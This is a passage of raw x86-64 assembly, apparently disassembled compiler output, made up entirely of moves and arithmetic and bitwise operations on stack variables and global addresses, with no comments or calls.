movzx eax, word [rax]
mov word [rsp + 0x1094], ax
mov rax, qword [rsp + 0x4ec0]
movsx eax, word [rax]
movsx ecx, word [0x140113028]
xor eax, ecx
mov rcx, qword [rsp + 0x8478]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e40]
movzx eax, byte [rax]
mov byte [rsp + 0x211], al
mov rax, qword [rsp + 0x76f0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x7608]
mov qword [rsp + 0x8f10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f10]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3024], eax
mov rax, qword [rsp + 0x7750]
mov rcx, qword [rsp + 0x5df8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7278], rax
mov eax, dword [rsp + 0x2d68]
mov dword [rsp + 0x32b8], eax
mov rax, qword [rsp + 0x5588]
mov rax, qword [rax]
imul rax, qword [rsp + 0x6638]
mov rcx, qword [rsp + 0x7e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x53f0]
movzx eax, word [rax]
mov word [rsp + 0x1098], ax
mov rax, qword [0x1401141a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8478]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113184], ax
movzx eax, byte [rsp + 0x45]
movzx ecx, byte [rsp + 0x1e8]
add eax, ecx
mov byte [rsp + 0x118], al
movzx eax, byte [0x140114215]
mov byte [rsp + 0x212], al
mov rax, qword [rsp + 0x6ed0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8810]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe04], ax
mov rax, qword [rsp + 0x6a78]
mov ecx, dword [rsp + 0x30d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x30a8], eax
mov rax, qword [rsp + 0x75b8]
mov qword [rsp + 0x8f18], rax
mov rax, qword [rsp + 0x8ab0]
mov ecx, dword [rsp + 0x317c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
mov rax, qword [rsp + 0x60f8]
mov qword [rsp + 0x8f20], rax
mov rax, qword [rsp + 0x7af0]
movsx eax, byte [rax]
movsx ecx, byte [0x140114154]
add eax, ecx
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x7130]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8830]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401130a0], ax
mov rax, qword [rsp + 0x8070]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7c60]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xad8], ax
mov rax, qword [0x1401144d8]
movzx eax, byte [rax]
mov byte [rsp + 0x213], al
mov rax, qword [rsp + 0x6e80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb6]
shl eax, cl
mov byte [rsp + 0xe5], al
movzx eax, byte [rsp + 0x1b9]
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x6cc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x64d0]
mov qword [rsp + 0x8f28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8f28]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x67d0], rax
mov rax, qword [rsp + 0x71e0]
mov rcx, qword [rsp + 0x7d20]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8838], rax
mov eax, dword [rsp + 0x2b70]
mov dword [rsp + 0x32bc], eax
mov rax, qword [rsp + 0x6940]
mov rcx, qword [rsp + 0x5b90]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2e78], eax
movsx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x5968]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113188], ax
lea rax, [rsp + 0x8dc]
mov qword [rsp + 0x8f30], rax
movzx eax, byte [0x14011304f]
movzx ecx, byte [rsp + 0xad]
and eax, ecx
mov byte [rsp + 0x83], al
lea rax, [rsp + 0xae4]
mov qword [rsp + 0x8f38], rax
movzx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0x7e58]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd00], ax
mov rax, qword [rsp + 0x5900]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5928], rax
lea rax, [rsp + 0x325c]
mov qword [rsp + 0x8f40], rax
mov rax, qword [rsp + 0x54a8]
mov rcx, qword [rsp + 0x5448]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6f80], rax
lea rax, [rsp + 0x3264]
mov qword [rsp + 0x8f48], rax
lea rax, [rsp + 0x9e]
mov qword [0x140114a40], rax
mov rax, qword [rsp + 0x62b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov word [rsp + 0xff8], ax
mov rax, qword [rsp + 0x6a00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x81e0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5c00]
mov word [rcx], ax
movzx eax, byte [rsp + 0x16e]
mov byte [rsp + 0x215], al
mov rax, qword [rsp + 0x7c98]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x4f38]
mov rax, qword [rax]
mov qword [rsp + 0x8f50], rax
mov rax, qword [rsp + 0x7d20]
mov rcx, qword [rsp + 0x6038]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6528]
mov qword [rcx], rax
mov eax, dword [rsp + 0x30a4]
mov ecx, dword [rsp + 0x2f08]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3290], eax
lea rax, [rsp + 0x2c88]
mov qword [rsp + 0x8f58], rax
mov rax, qword [rsp + 0x8698]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5318]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x140113047], al
movsx eax, word [rsp + 0xa54]
mov rcx, qword [rsp + 0x84d8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xcd0], ax
mov rax, qword [0x140114638]
movzx eax, byte [rax]
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0x66e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6740]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xc1], al
mov rax, qword [rsp + 0x8bd8]
movzx eax, word [rax]
movzx ecx, word [0x140114308]
or eax, ecx
mov word [rsp + 0xa64], ax
mov rax, qword [rsp + 0x4b78]
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x53c8]
mov rcx, qword [rsp + 0x6440]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6858], rax
mov eax, dword [rsp + 0x2d24]
mov dword [rsp + 0x32c0], eax
mov eax, dword [rsp + 0x2de4]
mov ecx, dword [rsp + 0x2f48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79f8]
movzx eax, byte [rax]
mov byte [0x1401142e3], al
lea rax, [rsp + 0xdfc]
mov qword [rsp + 0x8f68], rax
movsx eax, word [rsp + 0xa30]
mov rcx, qword [rsp + 0x5258]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6d60]
mov word [rcx], ax
mov rax, qword [rsp + 0x6378]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xde]
add eax, ecx
mov rcx, qword [rsp + 0x4cd8]
mov byte [rcx], al
lea rax, [rsp + 0xdb8]
mov qword [rsp + 0x8f70], rax
mov rax, qword [rsp + 0x8828]
mov rcx, qword [0x140114160]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5e50]
mov qword [rcx], rax
lea rax, [rsp + 0x2d30]
mov qword [rsp + 0x8f78], rax
mov rax, qword [rsp + 0x5a38]
mov rcx, qword [rsp + 0x8590]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8e78], rax
mov rax, qword [rsp + 0x6660]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x31bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6618]
mov dword [rcx], eax
mov rax, qword [rsp + 0x89c0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbd8]
sub eax, ecx
mov rcx, qword [0x140114660]
mov word [rcx], ax
mov rax, qword [rsp + 0x7d60]
movzx eax, byte [rax]
mov byte [rsp + 0x217], al
movsx eax, word [rsp + 0xa88]
movsx ecx, word [rsp + 0xc90]
sub eax, ecx
mov word [rsp + 0xcb8], ax
lea rax, [rsp + 0x41]
mov qword [rsp + 0x8f80], rax
mov rax, qword [rsp + 0x7748]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov rcx, qword [rsp + 0x8e48]
mov byte [rcx], al
mov rax, qword [rsp + 0x76e0]
mov rcx, qword [rsp + 0x8b50]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x73c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5e60]
mov eax, dword [rax]
mov dword [rsp + 0x32c4], eax
mov rax, qword [rsp + 0x5cd0]
mov ecx, dword [rsp + 0x2f00]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3204], eax
mov rax, qword [rsp + 0x5db8]
mov rax, qword [rax]
mov qword [rsp + 0x8f88], rax
lea rax, [rsp + 0xf30]
mov qword [0x140114a48], rax
mov rax, qword [rsp + 0x8ba0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x56f8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8ba0]
mov word [rcx], ax
movzx eax, word [rsp + 0xeec]
movzx ecx, word [rsp + 0xd58]
shl eax, cl
mov word [rsp + 0xd74], ax
mov rax, qword [rsp + 0x8ec0]
movzx eax, byte [rax]
mov byte [rsp + 0x218], al
mov rax, qword [rsp + 0x8958]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dc]
or eax, ecx
mov byte [rsp + 0x37], al
mov rax, qword [rsp + 0x8170]
mov rax, qword [rax]
mov qword [rsp + 0x8f90], rax
mov rax, qword [rsp + 0x60f0]
mov ecx, dword [rsp + 0x2c88]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6698]
mov dword [rcx], eax
lea rax, [rsp + 0x329c]
mov qword [rsp + 0x8f98], rax
mov rax, qword [rsp + 0x7138]
mov rcx, qword [rsp + 0x77d0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113047], al
movzx eax, word [rsp + 0xfac]
mov rcx, qword [rsp + 0x7678]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9c0], ax
mov rax, qword [0x140114360]
movzx eax, word [rax]
mov word [rsp + 0x109c], ax
movsx eax, byte [rsp + 0x1d7]
mov rcx, qword [rsp + 0x6c90]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xeb], al
movzx eax, byte [rsp + 0x68]
mov byte [rsp + 0x219], al
mov rax, qword [rsp + 0x8670]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7370]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6db0], rax
mov rax, qword [rsp + 0x84a0]
mov ecx, dword [rsp + 0x2ea0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3018], eax
mov rax, qword [rsp + 0x5680]
mov eax, dword [rax]
mov dword [rsp + 0x32c8], eax
mov rax, qword [rsp + 0x8620]
mov rcx, qword [0x140114160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4e08], rax
lea rax, [rsp + 0x1fa]
mov qword [rsp + 0x8fa0], rax
mov rax, qword [rsp + 0x6f90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1018]
sub eax, ecx
mov word [0x14011312c], ax
mov rax, qword [rsp + 0x6b18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
sar eax, cl
mov byte [rsp + 0x1b6], al
movzx eax, word [rsp + 0x884]
mov rcx, qword [rsp + 0x58a8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x964], ax
mov rax, qword [rsp + 0x84c0]
movzx eax, word [rax]
mov word [rsp + 0x10a0], ax
mov rax, qword [rsp + 0x6698]
mov ecx, dword [rsp + 0x2eac]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5280]
mov dword [rcx], eax
lea rax, [rsp + 0x3240]
mov qword [rsp + 0x8fa8], rax
mov rax, qword [rsp + 0x7ff0]
movzx ecx, al
mov rax, qword [rsp + 0x4db8]
shl rax, cl
mov rcx, qword [rsp + 0x6ac0]
mov qword [rcx], rax
lea rax, [0x140114160]
mov qword [rsp + 0x8fb0], rax
movzx eax, byte [rsp + 0x9d]
mov rcx, qword [rsp + 0x7988]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6588]
mov byte [rcx], al
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0x87c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14011318c], ax
mov rax, qword [rsp + 0x7e90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5420]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x75d8]
mov byte [rcx], al
lea rax, [rsp + 0xe80]
mov qword [rsp + 0x8fb8], rax
mov rax, qword [rsp + 0x7288]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7328]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1bd], al
lea rax, [rsp + 0x2c78]
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x5b38]
mov rcx, qword [rsp + 0x4ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x71c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x70e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7470]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x73e8], rax
mov rax, qword [rsp + 0x7ce0]
mov rax, qword [rax]
mov qword [rsp + 0x8fc8], rax
mov rax, qword [rsp + 0x7be0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1a6]
sub eax, ecx
mov rcx, qword [rsp + 0x5ac8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d0]
movsx eax, byte [rax]
mov rcx, qword [0x140114668]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140113002], al
movzx eax, word [rsp + 0xb40]
mov word [rsp + 0x10a4], ax
mov rax, qword [rsp + 0x7620]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7cf8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7798]
mov word [rcx], ax
mov rax, qword [0x1401148c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x12f]
sub eax, ecx
mov byte [rsp + 0x10f], al
mov rax, qword [rsp + 0x8d80]
mov rax, qword [rax]
mov qword [rsp + 0x8fd0], rax
mov eax, dword [rsp + 0x2e68]
mov ecx, dword [rsp + 0x31a8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x303c], eax
lea rax, [rsp + 0x2b64]
mov qword [rsp + 0x8fd8], rax
mov rax, qword [rsp + 0x7ca0]
mov rcx, qword [rsp + 0x8f18]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x8f60], rax
movsx eax, word [rsp + 0xc04]
mov rcx, qword [rsp + 0x5dd8]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7270]
mov word [rcx], ax
lea rax, [0x140114628]
mov qword [0x140114a50], rax
lea rax, [rsp + 0x1a4]
mov qword [rsp + 0x8fe0], rax
mov rax, qword [rsp + 0x8030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x70c8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5b48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x111]
mov byte [rsp + 0x21a], al
mov rax, qword [rsp + 0x7758]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x56a0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7810]
mov byte [rcx], al
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x8fe8], rax
mov rax, qword [rsp + 0x5bc8]
mov rcx, qword [rsp + 0x6900]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8898]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x57f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a58], rax
lea rax, [rsp + 0x83a8]
mov qword [rsp + 0x8ff0], rax
lea rax, [rsp + 0x1034]
mov qword [0x140114a58], rax
movsx eax, byte [0x140113026]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc3], al
lea rax, [rsp + 0x9f8]
mov qword [rsp + 0x8ff8], rax
mov rax, qword [rsp + 0x4f98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc94]
add eax, ecx
mov rcx, qword [rsp + 0x7cf8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x217]
movsx ecx, byte [rsp + 0x3f]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
mov rax, qword [rsp + 0x5c28]
mov eax, dword [rax]
mov dword [rsp + 0x32cc], eax
mov rax, qword [rsp + 0x8b40]
mov rcx, qword [rsp + 0x53e8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x75a0], rax
lea rax, [0x140114160]
mov qword [rsp + 0x9000], rax
mov rax, qword [rsp + 0x6c50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f9c], eax
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [0x140113017]
sub eax, ecx
mov byte [0x1401130aa], al
movsx eax, word [rsp + 0xdb4]
movsx ecx, word [rsp + 0x10a0]
add eax, ecx
mov rcx, qword [rsp + 0x4c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x7930]
movzx eax, byte [rax]
mov byte [rsp + 0x21b], al
movzx eax, byte [rsp + 0x106]
mov rcx, qword [0x140114288]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xf4], al
lea rax, [rsp + 0x918]
mov qword [rsp + 0x9008], rax
mov eax, dword [rsp + 0x2fd4]
mov ecx, dword [rsp + 0x2bf0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7fd8]
mov qword [rsp + 0x9010], rax
mov rax, qword [rsp + 0x8808]
mov rax, qword [rax]
mov rcx, qword [0x140113008]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x5cc8], rax
mov rax, qword [rsp + 0x8728]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4f50]
mov qword [rsp + 0x9018], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9018]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x5840]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x18a]
movzx ecx, byte [0x1401142b4]
and eax, ecx
mov rcx, qword [0x140114248]
mov byte [rcx], al
lea rax, [rsp + 0xe78]
mov qword [rsp + 0x9020], rax
mov rax, qword [rsp + 0x5578]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5828]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1bf], al
movzx eax, word [rsp + 0x918]
mov word [rsp + 0x10a8], ax
mov rax, qword [rsp + 0x6e38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe54]
sub eax, ecx
mov rcx, qword [rsp + 0x5058]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ce0]
mov rcx, qword [rsp + 0x73c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7528], rax
lea rax, [0x140113008]
mov qword [rsp + 0x9028], rax
mov rax, qword [rsp + 0x61f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b44]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6340]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov dword [rsp + 0x32d0], eax
movsx eax, byte [rsp + 0x85]
movsx ecx, byte [0x1401130ab]
add eax, ecx
mov byte [0x1401130d7], al
mov rax, qword [rsp + 0x6138]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8208]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x35], al
mov rax, qword [rsp + 0x56b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e38]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9a4], ax
movzx eax, word [0x14011307c]
mov word [rsp + 0x10ac], ax
mov rax, qword [rsp + 0x8da0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5720]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8da0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5670]
mov qword [rsp + 0x9030], rax
mov rax, qword [rsp + 0x80d0]
mov rcx, qword [rsp + 0x6350]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6380]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8dd8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5150]
mov qword [rsp + 0x9038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9038]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x4e48]
mov dword [rcx], eax
lea rax, [rsp + 0x2e14]
mov qword [rsp + 0x9040], rax
mov rax, qword [rsp + 0x6468]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb3]
shl eax, cl
mov rcx, qword [0x140114780]
mov byte [rcx], al
movsx eax, byte [rsp + 0xcc]
movsx ecx, byte [rsp + 0x1f3]
or eax, ecx
mov byte [rsp + 0x1bf], al
mov rax, qword [rsp + 0x6488]
movzx eax, byte [rax]
mov byte [rsp + 0x21c], al
mov rax, qword [0x140114970]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdc4]
sub eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x6988]
movzx eax, word [rax]
mov word [rsp + 0x10b0], ax
mov rax, qword [rsp + 0x8938]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8960]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8548]
mov qword [rcx], rax
mov rax, qword [rsp + 0x71a8]
mov eax, dword [rax]
mov ecx, dword [0x140114150]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f98], eax
lea rax, [rsp + 0x2d88]
mov qword [rsp + 0x9048], rax
mov rax, qword [rsp + 0x5910]
mov rcx, qword [rsp + 0x8250]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5320], rax
mov rax, qword [0x140114a58]
movzx eax, word [rax]
mov word [0x140114a60], ax
lea rax, [rsp + 0x6f]
mov qword [rsp + 0x9050], rax
movzx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x6140]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcec], ax
mov rax, qword [0x1401142a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e20]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a08]
mov word [rcx], ax
mov rax, qword [rsp + 0x5700]
movzx eax, byte [rax]
mov byte [rsp + 0x21d], al
mov eax, dword [rsp + 0x32d0]
mov ecx, dword [rsp + 0x2fb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b94], eax
lea rax, [rsp + 0x2de8]
mov qword [rsp + 0x9058], rax
mov rax, qword [rsp + 0x7290]
mov rcx, qword [rsp + 0x56d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5cf0], rax
mov rax, qword [rsp + 0x5718]
mov rcx, qword [rsp + 0x7fe0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7cc0], rax
movzx eax, word [0x140113038]
mov rcx, qword [rsp + 0x6ed0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14011305c], ax
movzx eax, byte [rsp + 0x1c7]
mov byte [rsp + 0x21e], al
movzx eax, byte [rsp + 0x21a]
mov rcx, qword [rsp + 0x5e00]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
movzx eax, word [rsp + 0xec8]
mov word [rsp + 0x10b4], ax
movsx eax, byte [rsp + 0x88]
movsx ecx, byte [rsp + 0x32]
sar eax, cl
mov byte [rsp + 0x67], al
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x59a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x70b0], rax
mov rax, qword [rsp + 0x58c8]
mov eax, dword [rax]
mov dword [rsp + 0x32d4], eax
mov rax, qword [rsp + 0x54f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x51b0]
shl rax, cl
mov rcx, qword [rsp + 0x4c58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6210]
mov eax, dword [rax]
mov dword [rsp + 0x32d8], eax
mov rax, qword [0x1401142b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf4]
sub eax, ecx
mov word [rsp + 0xc60], ax
movsx eax, word [rsp + 0xdd4]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140113190], ax
mov rax, qword [rsp + 0x6cb0]
movzx eax, byte [rax]
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0x7f40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6540]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xc8], al
movsx eax, word [rsp + 0xf40]
mov rcx, qword [rsp + 0x6620]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8b70]
mov word [rcx], ax
mov eax, dword [rsp + 0x2fb0]
mov dword [rsp + 0x32dc], eax
mov rax, qword [rsp + 0x5108]
mov rcx, qword [rsp + 0x8a28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6698]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69b8]
mov qword [rsp + 0x9060], rax
mov rax, qword [rsp + 0x8f00]
mov rcx, qword [rsp + 0x7778]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x64d0]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xb8]
movsx ecx, byte [rsp + 0x1d3]
add eax, ecx
mov rcx, qword [rsp + 0x6488]
mov byte [rcx], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7d70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140113010], ax
lea rax, [0x140113108]
mov qword [rsp + 0x9068], rax
mov rax, qword [rsp + 0x7bc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c9]
sub eax, ecx
mov byte [rsp + 0xea], al
lea rax, [rsp + 0xb34]
mov qword [rsp + 0x9070], rax
mov rax, qword [rsp + 0x5c68]
mov rcx, qword [rsp + 0x6010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x85e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fd0]
mov rcx, qword [rsp + 0x4e60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x54d0]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b94]
mov dword [rsp + 0x32e0], eax
mov rax, qword [rsp + 0x7f60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ce8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cc8], eax
lea rax, [rsp + 0x1080]
mov qword [rsp + 0x9078], rax
mov rax, qword [rsp + 0x58f8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e5]
xor eax, ecx
mov byte [0x1401130da], al
movsx eax, word [rsp + 0x1068]
movsx ecx, word [rsp + 0xce4]
sar eax, cl
mov word [rsp + 0x98c], ax
lea rax, [rsp + 0x8b]
mov qword [rsp + 0x9080], rax
mov rax, qword [rsp + 0x5308]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7218]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6468]
mov byte [rcx], al
mov rax, qword [rsp + 0x5998]
mov rcx, qword [rsp + 0x5078]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x7790]
mov qword [rcx], rax
lea rax, [rsp + 0x2b04]
mov qword [rsp + 0x9088], rax
mov rax, qword [rsp + 0x5c20]
mov rcx, qword [rsp + 0x8370]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50e0]
mov qword [rcx], rax
lea rax, [rsp + 0x2980]
mov qword [rsp + 0x9090], rax
mov rax, qword [rsp + 0x6a08]
movsx eax, word [rax]
